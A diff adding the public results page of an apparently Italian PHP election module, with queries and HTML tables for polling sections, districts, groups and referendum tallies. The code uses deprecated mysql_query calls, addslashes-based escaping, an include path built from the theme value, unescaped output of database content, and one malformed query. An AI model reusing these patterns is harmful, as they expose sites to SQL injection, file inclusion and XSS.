+if (isset($param['id_circ'])) $id_circ=intval($param['id_circ']); else $id_circ='0';
+if (isset($param['csv'])) $csv=intval($param['csv']); else $csv='';
+if (isset($param['min'])) $min=intval($param['min']); else $min= 0;
+if (isset($param['orvert'])) $orvert=intval($param['orvert']); else $orvert='';
+if (isset($param['offset'])) $offset=intval($param['offset']); else $offset='';
+if (isset($param['offsetsez'])) $offsetsez=intval($param['offsetsez']); else $offsetsez='';
+if (isset($param['perc'])) $perc=$param['perc']; else $perc='';
+if (isset($param['info'])) get_magic_quotes_gpc() ? $info=$param['info']:$info=addslashes($param['info']); else $info='';
+if (isset($param['files'])) get_magic_quotes_gpc() ? $files=$param['files']:$files=addslashes($param['files']); else $files='';
+if (isset($param['voti_lista'])) $voti_lista=intval($param['voti_lista']); else $voti_lista= 0;
+if (isset($param['perc_lista'])) $perc_lista=$param['perc_lista']; else $perc_lista= 0;
+if (isset($param['lettera'])) get_magic_quotes_gpc() ? $lettera=$param['lettera']:$lettera=addslashes($param['lettera']); else $lettera='';
+if (isset($param['ordine'])) get_magic_quotes_gpc() ? $ordine=$param['ordine']:$ordine=addslashes($param['ordine']); else $ordine='';
+if (isset($param['id_gruppo'])) $id_gruppo=intval($param['id_gruppo']); else $id_gruppo='';
+if (isset($param['tipo_cons'])) $tipo_cons=intval($param['tipo_cons']); else $tipo_cons='';
+if (isset($param['descr_circ'])) $descr_circ=intval($param['descr_circ']); else $descr_circ='';
+
+
+# anti-xss nov. 2009 
+$id_comune=htmlentities($id_comune); 
+$id_comune=intval($id_comune); 
+$perc=htmlentities($perc); 
+$perc_lista=floatval($perc_lista); 
+#$datipdf= htmlentities($datipdf); 
+$op= htmlentities($op); 
+$info= htmlentities($info); 
+$files=htmlentities($files); 
+$lettera=htmlentities($lettera); 
+$ordine=htmlentities($ordine); 
+
+$res = mysql_query("SELECT id_conf FROM ".$prefix."_ele_cons_comune where id_cons_gen='$id_cons_gen' and id_comune='$id_comune'" , $dbi);
+list($hondt) = mysql_fetch_row($res);
+
+$sql = "SELECT t3.genere,t1.tipo_cons,t1.descrizione,t2.id_cons_gen FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2, ".$prefix."_ele_tipo as t3 where t1.tipo_cons=t3.tipo_cons and t2.id_comune=$id_comune and t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.chiusa!='2' ";
+$res = mysql_query("$sql",$dbi);
+$tot=mysql_num_rows($res);
+if ($tot>0 and $id_cons_gen>0) {
+	$sql = "SELECT t3.genere,t1.tipo_cons,t1.descrizione,t2.id_cons_gen FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2, ".$prefix."_ele_tipo as t3 where t1.tipo_cons=t3.tipo_cons and t2.id_comune=$id_comune and t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.chiusa!='2'";
+}else{
+	$sql = "SELECT t3.genere,t1.tipo_cons,t1.descrizione,t2.id_cons_gen FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2, ".$prefix."_ele_tipo as t3 where t1.tipo_cons=t3.tipo_cons and t2.id_comune=$id_comune and t1.id_cons_gen=t2.id_cons_gen and t2.chiusa!='2' order by t1.data_fine desc limit 0,1 ";
+}
+$res = mysql_query("$sql",$dbi);
+if ($res) list($genere,$tipo_cons,$descr_cons,$id_cons_gen) = mysql_fetch_row($res);
+
+if ($tipo_cons!=3) $limite=0;
+
+$res = mysql_query("SELECT t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+list($id_cons) = mysql_fetch_row($res);
+
+$res = mysql_query("SELECT t1.descrizione, t1.tipo_cons, t2.genere, t2.voto_g, t2.voto_l, t2.voto_c, t2.circo FROM ".$prefix."_ele_consultazione as t1,".$prefix."_ele_tipo as t2 where t1.tipo_cons=t2.tipo_cons and t1.id_cons_gen='$id_cons_gen' ", $dbi);
+list($descr_cons,$tipo_cons,$genere,$votog,$votol,$votoc,$circo) = mysql_fetch_row($res);
+
+// esiste consultazione e toglie blocco nel caso non esista
+$res = mysql_query("SELECT t1.id_cons_gen,t1.descrizione FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_comune='$id_comune' and t2.chiusa!='2' order by t1.data_fine desc" , $dbi); 
+	$esiste_cons=mysql_num_rows($res);
+	if($esiste_cons<='0')$blocco=0;
+
+//carica limite e fascia per il comune
+$res = mysql_query("SELECT limite FROM ".$prefix."_ele_conf where id_conf='$hondt'" , $dbi);
+list($limite) = mysql_fetch_row($res);
+$res = mysql_query("SELECT fascia FROM ".$prefix."_ele_comuni where id_comune='$id_comune' ", $dbi);
+list($fascia) = mysql_fetch_row($res);
+if(!$id_circ){		
+$res = mysql_query("SELECT id_circ FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons limit 0,1 order num_circ asc' ", $dbi);
+list($id_circ) = mysql_fetch_row($res);
+}
+
+// rss oppure foglio elettronico
+if ($rss!=1   && $xls!=1 && $pdf!=1){ 
+    $index = 1;
+    include("header.php");
+    if($csv!=1){
+	include_once("modules/Elezioni/funzioni.php");
+	
+	$res = mysql_query("SELECT descrizione,simbolo FROM ".$prefix."_ele_comuni where id_comune='$id_comune' ", $dbi);
+	list($descr_com,$simbolo) = mysql_fetch_row($res);
+        $descr_com =stripslashes($descr_com); 
+	echo "<table width=\"100%\"><tr><td>";
+	$siteistat=$id_comune;
+	if($simbolo!=''){
+	echo "<img src=\"modules.php?name=Elezioni&amp;file=foto&amp;id_comune=".$id_comune."\" alt=\"logo\" />";
+	}else{
+	echo "<img src=\"modules/Elezioni/images/logo.gif\" alt=\"logo\" />";
+	}
+
+
+
+	//echo "<img src=\"modules.php?name=Elezioni&amp;file=foto&amp;id_comune=".$id_comune."\" alt=\"mappa\" />";
+        echo "</td><td> "._COMUNE."<b> $descr_com </b><br />
+	"._RISULTA." "._CONSULTA."<h1>$descr_cons</h1>";
+
+			if ($circo){ // elenco per scelta circoscrizione
+				echo "</td></tr><tr><td></td><td  class=\"bggray\"><table class=\"table-80\"><tr><td class=\"table-main\"><form id=\"circo\" method=\"post\" action=\"modules.php\">";
+				$res_sez = mysql_query("SELECT id_circ,descrizione,num_circ from ".$prefix."_ele_circoscrizione where id_cons=$id_cons",$dbi);
+				echo "<input type=\"hidden\" name=\"pagina\" value=\"modules.php?name=Elezioni&amp;op=$op&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;info=$info&amp;id_circ=\"></input>";
+				echo ""._SCELTA_CIR.":<b> 
+				<select name=\"id_circ\" class=\"blu\" onChange=\"top.location.href=this.form.pagina.value+this.form.id_circ.options[this.form.id_circ.selectedIndex].value;return false\">";
+				while(list($id_rif,$descrizione,$num_cir)=mysql_fetch_row($res_sez)) {
+					if (!$id_circ) $id_circ=$id_rif;
+					$sel = ($id_rif == $id_circ) ? "selected=\"selected\"" : "";
+					echo "<option value=\"$id_rif\" $sel>";
+					for ($j=strlen($num_cir);$j<2;$j++) { echo "&nbsp;&nbsp;";}
+					echo "$num_cir) ".$descrizione."</option>";
+				}
+				echo "</select></b></form></td></tr></table>";
+			
+			}
+	echo ""._DISCLAIMER."";
+	echo  "</td></tr></table>";
+      }
+  }
+
+if (!isset($min)) $min=0;
+
+/************************
+Funzione Menu a cascata
+*************************/
+function menu() {
+	global $hondt,$lang,$multicomune, $tema, $op, $prefix, $dbi, $offset, $min,$descr_cons,$info,$dati, $votog,$votol,$votoc,$circo, $id_cons,$tipo_cons,$genere,$descr_cons,$id_cons_gen,$id_comune,$id_circ,$minsez,$offsetsez, $limite,$hondt,$tema_on,$js,$visgralista;
+
+$tema=htmlentities($tema); //xss        
+# include menu da tema
+if (file_exists("temi/$tema/menu.php")) {
+	  include_once("temi/$tema/menu.php");
+    }else{
+	include_once("modules/Elezioni/menu.php");
+}
+
+}
+
+
+
+/********************************************
+Funzione Come si vota, link, numeri e servizi
+visuallizza la stringa dei dati generali
+********************************************/
+
+function come($info) {
+global  $prefix, $dbi, $offset, $min,$id_cons,$tipo_cons,$descr_cons;
+
+$tab='';
+if ($info=="come") $tab="_ele_come";
+elseif ($info=="numeri") $tab="_ele_numeri";
+elseif ($info=="servizi") $tab="_ele_servizi";
+elseif ($info=="link") $tab="_ele_link";
+else $tab="_ele_come";
+
+
+    global  $user, $admin, $cookie, $textcolor2, $prefix, $dbi;
+     $result = mysql_query("select mid, title, preamble, content,editimage from ".$prefix."$tab where id_cons='$id_cons' order by mid ", $dbi);
+    if (mysql_num_rows($result) == 0) {
+	return;
+    } else {
+	while (list($mid, $title, $preamble,$content,  $editimage) = mysql_fetch_row($result)) {
+  	if ($title != "" && $content != "") {
+               
+                if ($info=="link"){
+			
+			echo "<div class=\"message\">
+			<b><a href=\"$preamble\">$title</a></b>
+			$content
+			</div>";
+			
+		}else{
+			echo "<div><b>$title</b><br /></div>";
+                
+		
+		echo "<div class=\"message\">$preamble<br /><br /></div>";
+		
+		echo "<div class=\"message\">$content</div>";
+		}
+		
+		echo "<br />";
+
+	}
+    }
+ }
+
+}
+
+
+
+/****************
+Funzione dati Generali
+visuallizza la stringa dei dati generali
+****************/
+
+
+function dati() {
+/*Funzione di visualizzazione dati generali                  */
+	global $admin, $prefix, $dbi, $offset, $votog, $votol, $votoc, $circo, $min,$id_cons,$tipo_cons,$descr_cons,$id_cons_gen,$id_comune,$genere,$id_circ;
+	
+	
+	echo "<div><b>"._DATIG."</b></div> ";
+	echo "<table class=\"table-80\"><tr class=\"bggray\">";
+	echo "<td ><b>"._AVENTI."</b></td>"
+	."<td ><b>"._MASCHI."</b></td>"
+	."<td ><b>"._FEMMINE."</b></td>"
+	."<td ><b><a href=\"modules.php?name=Elezioni&amp;op=circo&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune\">"._CIRCS."</a></b></td>"
+	."<td><b><a href=\"modules.php?name=Elezioni&amp;op=sezione&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune\">"._SEZIONI."</a></b></td>"
+	."<td ><b><a href=\"modules.php?name=Elezioni&amp;op=gruppo&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_circ=$id_circ\">"._GRUPPI."</a></b></td>";
+        
+        
+	
+	
+	
+	
+	$res = mysql_query("select * from ".$prefix."_ele_circoscrizione where id_cons='$id_cons' ",$dbi);
+	$res3 = mysql_query("select * from ".$prefix."_ele_sezioni where id_cons='$id_cons' ",$dbi);
+	$circo = mysql_num_rows($res);
+	$sez = mysql_num_rows($res3);
+	$candi=0;
+	
+	// se non referendum
+	if ($genere>0 and !$votoc){
+		echo "<td><b><a href=\"modules.php?name=Elezioni&amp;op=candi&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune\">"._CANDIDATI."</a></b></td>";
+		$res1 = mysql_query("select id_cons from ".$prefix."_ele_candidati where id_cons='$id_cons' ",$dbi);
+		$candi = mysql_num_rows($res1);
+	}
+	// se non europee (non liste e candidati)
+	if ($genere!=4){
+		$res2 = mysql_query("select id_cons from ".$prefix."_ele_gruppo where id_cons='$id_cons' ",$dbi);
+	}else{
+		$res2 = mysql_query("select id_cons from ".$prefix."_ele_lista where id_cons='$id_cons' ",$dbi);
+	}
+	
+	$gruppo = mysql_num_rows($res2);
+        
+	// camera e senato con raggruppamenti
+	if($votog){
+	 echo "<td><b><a href=\"modules.php?name=Elezioni&amp;op=liste&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune\">"._LISTE."</a></b></td>";
+	 $res3 = mysql_query("select * from ".$prefix."_ele_lista where id_cons='$id_cons' ",$dbi);
+         $liste = mysql_num_rows($res3);
+	}
+	
+	
+	$res4 = mysql_query("select sum(maschi),sum(femmine), sum(maschi+femmine)  from ".$prefix."_ele_sezioni where id_cons=$id_cons", $dbi);
+ 	if($res4) list($maschi,$femmine,$tot) = mysql_fetch_row($res4);
+ 	echo "</tr><tr class=\"bggray2\">"
+
+	."<td><b>$tot</b>"
+	."</td><td><b>$maschi</b>"
+	."</td><td><b>$femmine</b>"
+	."</td><td><b>$circo</b>"
+	."</td><td><b>$sez</b>"
+	."</td><td><b>$gruppo</b>";
+
+	if ($genere>2 && !$votog) echo"</td><td><b>$candi</b>";
+	
+//        if ($tipo_cons >9) echo"</td><td><b>$liste</b>";
+        if ($votog) echo"</td><td><b>$liste</b>";
+	echo "</td></tr></table>";
+	//CloseTable();
+}
+//////////////////////////////////////////////////////////////
+// votanti
+//////////////////////////////////////////////////////////////
+
+
+
+function circo() {
+
+/******************************************************/
+/*Funzione di visualizzazione sede                    */
+/*****************************************************/
+    global $admin, $prefix, $dbi, $offset, $min,$id_cons,$file,$id_cons_gen,$id_comune ,$prev,$next;
+    $res = mysql_query("SELECT * FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons'  ", $dbi);
+    $max = mysql_num_rows($res);
+    
+    //OpenTable();
+    
+    dati();
+    
+    
+    $offset=10;
+    if (!isset($min)) $min=0;
+    $go="circo";
+    
+    $result = mysql_query("select * from ".$prefix."_ele_circoscrizione where id_cons='$id_cons'  ORDER BY num_circ 
+    LIMIT $min,$offset", $dbi);
+  	echo "<div><b>"._CIRCS."</b></div><br /><br />
+	<table class=\"table-80\"><tr class=\"bggray\">"
+	."<td ><b>"._NUM."</b></td>"
+	."<td ><b>"._CIRCO."</b></td>"
+	."<td ><b>"._INDIRIZZO."</b></td>"
+	."<td><b>"._TEL."</b></td></tr>";
+     
+	while(list($id_cons2,$id_circ,$num_circ,$descr_circ) = mysql_fetch_row($result)) {
+     	if ($num_circ!=0) {
+     		
+		echo "<tr class=\"bggray3\"><td><b>$num_circ</b>"
+		."</td><td><b>";
+		echo "<a href=\"modules.php?name=Elezioni&amp;op=sezione&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_circ=$id_circ&amp;descr_circ=$descr_circ\">$descr_circ</a></b></td>";
+       
+       // dati sede
+		$result1 = mysql_query("select id_sede,indirizzo,telefono1,telefono2, mappa, filemappa from ".$prefix."_ele_sede where id_cons='$id_cons' and id_circ='$id_circ'", $dbi);
+		$righe=mysql_num_rows($result1);$i=0;
+        	while(list($id_sede,$indir,$tel1,$tel2,$mappa,$filemappa)=mysql_fetch_row($result1)){
+		
+        	$i++;
+		echo "<td><b><a href=\"modules.php?name=Elezioni&amp;op=sezione&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_sede=$id_sede\">$indir</a></b>"
+		."</td><td><b>$tel1 </b></td><td><b>  $tel2</b></td></tr>";
+
+	      	if ($i<$righe) echo"<tr class=\"bggray3\"><td></td><td></td>";
+
+	}
+    }
+  }
+    echo "</table>";
+    
+    page($id_cons_gen,$go,$max,$min,$prev,$next,$offset,$file);
+
+//CloseTable();
+}
+
+/******************************************************/
+/*Funzione di visualizzazione globale sezioni         */
+/*****************************************************/
+
+function sezione() {
+   global $admin, $prefix, $dbi, $offset, $min,$votog,$circo, $id_cons_gen,$id_circ,$descr_circ,$id_cons,$file,$prev,$next,$id_comune,$googlemaps;
+
+ dati();
+ $totali_t=0;$maschi_t=0;$femmine_t=0;
+ $param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+ //mappa
+if (isset($param['id_sede'])) $id_sede=intval($param['id_sede']); else $id_sede='0';
+ if ($id_sede!='0' && $googlemaps!='1'){
+ echo "<br /><div><img src=\"modules.php?name=Elezioni&amp;file=foto&amp;id_sede=".$id_sede."\" alt=\"mappa\" /></div>";
+ }elseif($id_sede!='0' && $googlemaps=='1'){
+    $mappa=googlemaps(); echo $mappa;
+ } 
+
+  $offset=15;
+  if (!isset($min)) $min=0;
+
+ $go="sezione";
+ $res2 = mysql_query("SELECT descrizione FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons' AND id_circ='$id_circ' ", $dbi);
+	list($descr_circ) = mysql_fetch_row($res2);
+
+   echo "<div><b>"._SEZIONI." "; 
+   if ($id_circ) echo "di $descr_circ";
+   if ($id_sede) echo _SINGOLA;
+   echo "</b></div><br />
+   <table class=\"table-80\"><tr class=\"bggray\">"
+	."<td class=\"td-5\"><b>"._NUM."</b></td>"
+	."<td ><b>"._INDIRIZZO."</b></td>"
+	."<td class=\"td-5\"><b>"._MASCHI."</b></td>"
+	."<td class=\"td-5\"><b>"._FEMMINE."</b></td>"
+	."<td><b>"._TOTS." "._AVENTI."</b></td></tr>";
+    // link alle sedi
+    
+    // link alle circoscrizioni
+    
+    if ($id_circ) { 
+	
+    	$res1  = mysql_query("SELECT id_sede FROM ".$prefix."_ele_sede where id_cons='$id_cons' and id_circ='$id_circ' ", $dbi);
+    	//$max = mysql_num_rows($res);
+        $i=0;// n. sezioni x circo
+    	while(list($id_sede) = mysql_fetch_row($res1)){
+	
+       		$circos=" AND id_sede='$id_sede'";
+    		$res = mysql_query("SELECT * FROM ".$prefix."_ele_sezioni where id_cons='$id_cons' $circos ", $dbi);
+    		//$tot_sez = mysql_num_rows($res);
+   		$result = mysql_query("select id_cons,id_sez,id_sede,num_sez, maschi, femmine  from ".$prefix."_ele_sezioni where id_cons='$id_cons' $circos ORDER BY num_sez  LIMIT $min,$offset", $dbi);
+    		
+		while(list($id_cons2,$id_sez,$id_sede,$num_sez, $maschi, $femmine) = mysql_fetch_row($result)) {
+        		// dati circoscrizione
+			$i++;
+			$result1 = mysql_query("select indirizzo from ".$prefix."_ele_sede where id_sede='$id_sede'", $dbi);
+        		list($indir)=mysql_fetch_row($result1);
+        		
+			$totali=$maschi+$femmine;
+			$totali_t=$totali_t+$totali;
+			$maschi_t=$maschi_t+$maschi;
+			$femmine_t=$femmine_t+$femmine;
+			echo "<tr><td><b>$num_sez</b>"
+			."</td><td><b><a href=\"modules.php?name=Elezioni&amp;op=sezione&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_sede=$id_sede\">$indir</a></b>"
+			."</td><td >$maschi"
+			."</td><td >$femmine"
+			."</td><td ><b>$totali</b></td></tr>";
+    		}
+    			
+	}
+	echo "<tr class=\"bggray2\" ><td>"._SEZIONI."<br />n. $i</td>
+		<td><b>"._TOT."<br />$descr_circ</b>
+		</td><td ><b>"._MASCHI."<br /><span class=\"red\">$maschi_t</span></b>
+		</td><td ><b>"._FEMMINE."<br /><span class=\"red\">$femmine_t</span></b></td>
+		<td ><b>"._TOTS."<br /><span class=\"red\">$totali_t</span></b></td></tr>";
+     echo "</table></center>";
+     }else{
+   
+    if ($id_sede) $circos=" AND id_sede='$id_sede'";
+     
+    $res = mysql_query("SELECT * FROM ".$prefix."_ele_sezioni where id_cons='$id_cons' $circos ", $dbi);
+    $max = mysql_num_rows($res);
+    $result = mysql_query("select id_cons,id_sez,id_sede,num_sez, maschi, femmine  from ".$prefix."_ele_sezioni where id_cons='$id_cons' $circos ORDER BY num_sez  LIMIT $min,$offset", $dbi);
+    
+    while(list($id_cons2,$id_sez,$id_sed,$num_sez, $maschi, $femmine) = mysql_fetch_row($result)) {
+        
+	// dati circoscrizione
+	$result1 = mysql_query("select indirizzo from ".$prefix."_ele_sede where id_sede='$id_sed'", $dbi);
+        list($indir)=mysql_fetch_row($result1);
+        $totali=$maschi+$femmine;
+	$totali_t=$totali_t+$totali;
+	$maschi_t=$maschi_t+$maschi;
+	$femmine_t=$femmine_t+$femmine;
+	echo "<tr class=\"bggray2\"><td><b>$num_sez</b>"
+	."</td><td><b><a href=\"modules.php?name=Elezioni&amp;op=sezione&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_sede=$id_sed\"><img class=\"nobordo\" src=\"modules/Elezioni/images/mappa.gif\" align=\"left\">
+$indir</a></b>"
+	."</td><td>$maschi"
+	."</td><td>$femmine"
+	."</td><td><b>$totali</b></td></tr>";
+    }
+    if($id_sede)echo "<tr class=\"bggray\"><td><br /><br /></td>
+		<td><b>"._TOTS."<br />$indir</b>
+		</td><td ><b>"._MASCHI."<br /><span class=\"red\">$maschi_t</span></b>
+		</td><td ><b>"._FEMMINE."<br /><span class=\"red\">$femmine_t</span></b></td>
+		<td ><b>"._TOTS."<br /><span class=\"red\">$totali_t</span></b></td></tr>";
+    
+    echo "</table>";
+
+}
+	if(!isset($max)) $max=0; 
+     page($id_cons_gen,$go,$max,$min,$prev,$next,$offset,$file);
+
+
+//CloseTable();
+}
+
+
+
+/******************************************************/
+/*Funzione di visualizzazione globale    gruppo             */
+/*****************************************************/
+
+function gruppo() {
+   global $fascia, $limite, $admin, $prefix, $dbi, $offset, $min, $id_cons_gen,$genere, $id_cons,$tipo_cons,$file,$prev,$next,$id_circ,$id_comune,$descr_circ,$id_sez,$votog,$votol,$circo,$limite;
+   	//dati();
+	// definizione variabile per button 'ok' nei form
+	$button="<input name=\"vai\" type=\"image\" src=\"modules/Elezioni/images/ok2.jpg\" alt=\"ok\" title=\"ok\" />";
+
+   // numero sezioni scrutinate sul gruppo
+	// Verificare per la circoscrizione
+	if ($genere==0) {$tab="ref";}else{$tab="gruppo";}
+	if ($votog or $genere==4) {$tab="lista";}else{$tab="gruppo";}
+	if($circo){
+		if(!$id_circ){
+		$res = mysql_query("select id_circ from ".$prefix."_ele_circoscrizione where id_cons='$id_cons' limit 0,1", $dbi);
+		list($id_circ)=mysql_fetch_row($res);
+		}
+		 $res = mysql_query("select t1.id_sez,sum(t1.voti)  from ".$prefix."_ele_voti_$tab as t1, ".$prefix."_ele_$tab as t2 where t1.id_$tab=t2.id_$tab and t1.id_cons='$id_cons' and t2.id_circ='$id_circ' group by t1.id_sez", $dbi);	
+	}else $res = mysql_query("select *  from ".$prefix."_ele_voti_".$tab." where id_cons='$id_cons'  group by id_sez ",$dbi);
+	$numero=mysql_num_rows($res);
+	if($circo) $circos="and id_circ='$id_circ'"; else $circos='';
+	
+	if($circo) $res = mysql_query("select *  from ".$prefix."_ele_sezioni as t1, ".$prefix."_ele_sede as t2 where t1.id_sede=t2.id_sede and t1.id_cons='$id_cons' and t2.id_circ=$id_circ",$dbi);
+	else $res = mysql_query("select *  from ".$prefix."_ele_sezioni where id_cons='$id_cons' $circos ",$dbi);
+	$sezioni=mysql_num_rows($res);
+	if ($numero!=0) 
+	echo "<div><h2>"._SEZSCRU." $numero "._SU." $sezioni</h2></div>";
+	
+
+	
+	
+	
+	
+		
+	$offset=15;
+  	if (!isset($min)) $min=0;
+  	$go="gruppo";
+   if(!$votog and $genere!=4)	echo "<div><h2><b>"._GRUPPO." </b><br /></h2></div>";
+/*   
+   	if ($circo){ // circoscrizione
+   		echo "<form id=\"yesy\" method=\"post\" action=\"modules.php\">";
+   		echo "<div><input type=\"hidden\" name=\"pagina\" value=\"modules.php?name=Elezioni&amp;op=gruppo&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_circ=\" />";
+		echo " <input type=\"hidden\" name=\"name\" value=\"Elezioni\" />
+      			<input type=\"hidden\" name=\"op\" value=\"gruppo\" />
+      			<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\" />
+       			<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\" />
+       			<input type=\"hidden\" name=\"file\" value=\"index\" />";
+   		
+		$res_sez = mysql_query("SELECT id_circ,descrizione,num_circ from ".$prefix."_ele_circoscrizione where id_cons=$id_cons",$dbi);
+		echo "<span class=\"bggray\">"._SCELTA_CIR.":</span> 
+			<select name=\"id_circ\">"; 
+			while(list($id_rif,$descr_circ,$num_cir)=mysql_fetch_row($res_sez)) {
+					if (!$id_circ) $id_circ=$id_rif;
+					$sel = ($id_rif == $id_circ) ? "selected=\"selected\"" : "";
+					echo "<option value=\"$id_rif\" $sel>";
+					for ($j=strlen($num_cir);$j<2;$j++) { echo "&nbsp;&nbsp;";}
+					echo $num_cir.") ".$descr_circ."</option>";
+				}
+				echo "</select> $button </div></form>";
+			
+		
+			
+	}
+*/   
+	if ($genere!=4){
+	    $circos='';
+	    $circol='';    
+		// numero sezioni scrutinate per lista
+  		if ($circo){$circos="and id_circ='$id_circ'";$circol="and t2.id_circ='$id_circ'";}
+
+
+	      
+		$res_num_list = mysql_query("select t1.id_sez,sum(t1.voti)  from ".$prefix."_ele_voti_lista as t1, ".$prefix."_ele_lista as t2 where t1.id_lista=t2.id_lista and t1.id_cons='$id_cons' $circol group by t1.id_sez",$dbi);
+        	//$res_num_list = mysql_query("select *  from ".$prefix."_ele_voti_lista where id_cons='$id_cons' group by id_sez ",$dbi);
+		$numero_l=mysql_num_rows($res_num_list);
+		// verifica delle sezioni in relazione ai candidati (comuni >=15000)  non c'e' il voto di lista e quindi ci metto se scrutinate le preferenze sulla lista [$numero_c] - 5/5/2009
+		$res_num_list = mysql_query("select *  from ".$prefix."_ele_voti_candidati where id_cons='$id_cons' group by id_sez ",$dbi);
+		$numero_c=mysql_num_rows($res_num_list);
+      
+		$sezioni_l=$sezioni;
+		
+		
+		$res = mysql_query("SELECT * FROM ".$prefix."_ele_gruppo where id_cons='$id_cons' $circos ", $dbi);
+    		$max = mysql_num_rows($res);
+		
+		
+		if (!$votog){
+                if ($circo) $t_circos=" and t2.id_circ='$id_circ'"; else $t_circos=''; 
+		$res_pres_tutti = mysql_query("select sum(t1.voti)  from ".$prefix."_ele_voti_gruppo as t1 , ".$prefix."_ele_gruppo as t2 where t1.id_gruppo=t2.id_gruppo and t1.id_cons='$id_cons' $t_circos ", $dbi);
+		// sommatoria dei voti di lista per camera e senato dal 2006 per coalizioni-->byluc 
+		}else{ 
+		$res_pres_tutti = mysql_query("select sum(voti)  from ".$prefix."_ele_voti_lista where id_cons='$id_cons'", $dbi);
+		}
+		
+		list($voti_pres_tutti) = mysql_fetch_row($res_pres_tutti);
+    		
+		
+		$result = mysql_query("select id_cons ,id_gruppo ,num_gruppo, descrizione from ".$prefix."_ele_gruppo where id_cons='$id_cons' $circos ORDER BY num_gruppo  LIMIT $min,$offset", $dbi);
+		while(list($id_cons2,$id_gruppo2,$num_gruppo, $descr_gruppo) = mysql_fetch_row($result)) {
+  		   if ($num_gruppo!=0) {
+	           echo "<table  class=\"table-80\">
+				<tr>"
+				."<td class=\"td-5\"><b>"._NUM."</b></td>"
+				."<td class=\"bggray\"><b>"._DESCR."</b></td>"
+				."<td class=\"td-5\"><b>"._SIMBOLO."</b></td>
+				</tr>";
+			
+			
+			if ($genere>0){ // no referendum 
+				if (!$votog){ // no camere e senato per coalizioni 
+					$res_presidente = mysql_query("select sum(voti)  from ".$prefix."_ele_voti_gruppo  where id_cons='$id_cons' and id_gruppo='$id_gruppo2'", $dbi);
+				
+				}else{ // sommatoria voti lista per coalizione per camere e senato
+					$res_presidente = mysql_query("select sum(t1.voti)  from ".$prefix."_ele_voti_lista as t1 , ".$prefix."_ele_lista as t2 where t1.id_lista=t2.id_lista and t1.id_cons='$id_cons' and t2.id_gruppo='$id_gruppo2'", $dbi);
+				}
+				list($voti_pres) = mysql_fetch_row($res_presidente);
+				
+				
+				if ($voti_pres_tutti!=0){
+					$perc_pres=number_format(($voti_pres*100)/$voti_pres_tutti,3);
+					$perc_pres=number_format($perc_pres,2); // add luc 11 feb 2007
+					$var1="<h2>voti: $voti_pres <span class=\"redbig\"> $perc_pres </span>%</h2>";	
+				}else {$var1="";}
+				
+			
+			
+			}else{ //referendum
+				$res_ref = mysql_query("select sum(si),sum(no),sum(validi),sum(bianchi),sum(nulli),sum(contestati)   from ".$prefix."_ele_voti_ref where id_cons='$id_cons' and id_gruppo='$id_gruppo2'", $dbi);
+		 		list($voti_si,$voti_no,$validi,$bianchi,$nulli,$conte) = mysql_fetch_row($res_ref);
+				
+				
+				$aff=mysql_query("select orario,data from ".$prefix."_ele_rilaff where id_cons_gen='$id_cons_gen' order by data desc ", $dbi);
+				list($ora,$data) = mysql_fetch_row($aff);
+				
+				
+				$tot_rel =mysql_query("select sum(voti_uomini+voti_donne) from ".$prefix."_ele_voti_parziale where id_cons='$id_cons' and orario='$ora' and data='$data' and id_gruppo='$id_gruppo2'", $dbi);
+				list($tot_relativo) = mysql_fetch_row($tot_rel);
+				
+				
+				// totale assoluto
+				$tot_ass =mysql_query("select sum(maschi+femmine) from ".$prefix."_ele_sezioni where id_cons='$id_cons'", $dbi);
+				list($tot_assoluto) = mysql_fetch_row($tot_ass);
+				  // controlli del 15 giugno 2009 
+				if($tot_assoluto)
+				      $perc_tot=number_format(($tot_relativo*100)/$tot_assoluto,2);
+				      else $perc_tot=0;
+				
+				$tot_ref=0;$tot_ref=$voti_si+$voti_no;
+				if($tot_ref){
+				$perc_si=number_format(($voti_si*100)/$tot_ref,2);
+				$perc_no=number_format(($voti_no*100)/$tot_ref,2);
+				}else{ $perc_si=0;$perc_no=0;}
+
+				
+				
+				
+				$var1="<table class=\"table-80\">
+					<tr>
+					<td class=\"redbig\">
+				<h2>percentuale affluenze:<span class=\"redbig\"> $perc_tot% </span></h2></td>
+					</tr>";
+				
+				
+				$var1 .="<tr>
+					<td><h1>SI: $voti_si <span class=\"redbig\"> $perc_si </span>%</h1></td>
+					</tr>
+					<tr>
+					<td><h1>NO: $voti_no<span class=\"redbig\"> $perc_no </span>% 
+				</h1></td>
+					</tr>
+				</table>";
+				
+			}
+			
+			
+			
+			
+			
+			echo "<tr>
+			<td class=\"bggray\"><h1><b>$num_gruppo</b></h1></td>
+			<td class=\"table-main\"><h1>$descr_gruppo</h1> $var1</td>
